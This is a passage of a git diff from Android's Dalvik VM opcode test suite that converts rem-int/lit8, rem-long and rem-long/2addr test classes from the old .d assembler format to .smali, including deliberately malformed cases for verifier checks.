-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit8 v0, v7, 1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_6.smali
new file mode 100644
index 0000000..d75d49a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v7, 1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_7.d
deleted file mode 100644
index b1eeb15..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_7.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit8_7.java
-.class public dot.junit.opcodes.rem_int_lit8.d.T_rem_int_lit8_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit8 v0, v7, 127
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_7.smali
new file mode 100644
index 0000000..f3aa9c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_7.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v7, 127
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_8.d
deleted file mode 100644
index 08b0729..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_8.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit8_8.java
-.class public dot.junit.opcodes.rem_int_lit8.d.T_rem_int_lit8_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit8 v0, v7, -128
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_8.smali
new file mode 100644
index 0000000..cef1a86
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_8.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v7, -128
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_9.d
deleted file mode 100644
index 3c28049..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_9.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit8_9.java
-.class public dot.junit.opcodes.rem_int_lit8.d.T_rem_int_lit8_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit8 v0, v7, 0
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_9.smali
new file mode 100644
index 0000000..1ccbdce
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_9.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/rem_int_lit8/d/T_rem_int_lit8_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit8 v0, v7, 0
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_1.d
deleted file mode 100644
index 37cfd4d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_long_1.java
-.class public dot.junit.opcodes.rem_long.d.T_rem_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       rem-long v0, v10, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_1.smali
new file mode 100644
index 0000000..8f94d9d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_1.java"
+.class  public Ldot/junit/opcodes/rem_long/d/T_rem_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       rem-long v0, v10, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_2.d
deleted file mode 100644
index 867c397..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_long_2.java
-.class public dot.junit.opcodes.rem_long.d.T_rem_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       rem-long v0, v12, v14
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_2.smali
new file mode 100644
index 0000000..22feda9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_2.java"
+.class  public Ldot/junit/opcodes/rem_long/d/T_rem_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       rem-long v0, v12, v14
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_3.d
deleted file mode 100644
index 05b4c51..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_long_3.java
-.class public dot.junit.opcodes.rem_long.d.T_rem_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 14
-
-       rem-long v0, v10, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_3.smali
new file mode 100644
index 0000000..1c2db17
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_3.java"
+.class  public Ldot/junit/opcodes/rem_long/d/T_rem_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 14
+
+       rem-long v0, v10, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_4.d
deleted file mode 100644
index 165258a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_long_4.java
-.class public dot.junit.opcodes.rem_long.d.T_rem_long_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IJ)J
-.limit regs 14
-
-       rem-long v0, v11, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_4.smali
new file mode 100644
index 0000000..421998e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_4.java"
+.class  public Ldot/junit/opcodes/rem_long/d/T_rem_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IJ)J
+.registers 14
+
+       rem-long v0, v11, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_5.d
deleted file mode 100644
index ab089c08..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_long_5.java
-.class public dot.junit.opcodes.rem_long.d.T_rem_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JF)J
-.limit regs 14
-
-       rem-long v0, v11, v13
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_5.smali
new file mode 100644
index 0000000..ed7febf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_5.java"
+.class  public Ldot/junit/opcodes/rem_long/d/T_rem_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JF)J
+.registers 14
+
+       rem-long v0, v11, v13
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_6.d
deleted file mode 100644
index eb64800..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_long_6.java
-.class public dot.junit.opcodes.rem_long.d.T_rem_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       rem-long v0, v9, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_6.smali
new file mode 100644
index 0000000..d3a7be5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long/d/T_rem_long_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_6.java"
+.class  public Ldot/junit/opcodes/rem_long/d/T_rem_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       rem-long v0, v9, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_1.d
deleted file mode 100644
index 83c111e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_long_2addr_1.java
-.class public dot.junit.opcodes.rem_long_2addr.d.T_rem_long_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       rem-long/2addr v10, v12
-       return-wide v10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_1.smali
new file mode 100644
index 0000000..8805b30
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       rem-long/2addr v10, v12
+       return-wide v10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_2.d
deleted file mode 100644
index 79c9750..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_long_2addr_2.java
-.class public dot.junit.opcodes.rem_long_2addr.d.T_rem_long_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       rem-long/2addr v12, v14
-       return-wide v12
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_2.smali
new file mode 100644
index 0000000..4f2310d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       rem-long/2addr v12, v14
+       return-wide v12
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_3.d
deleted file mode 100644
index 4f62b19..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_long_2addr_3.java
-.class public dot.junit.opcodes.rem_long_2addr.d.T_rem_long_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 14
-
-       rem-long/2addr v10, v12
-       return-wide v10
-.end method
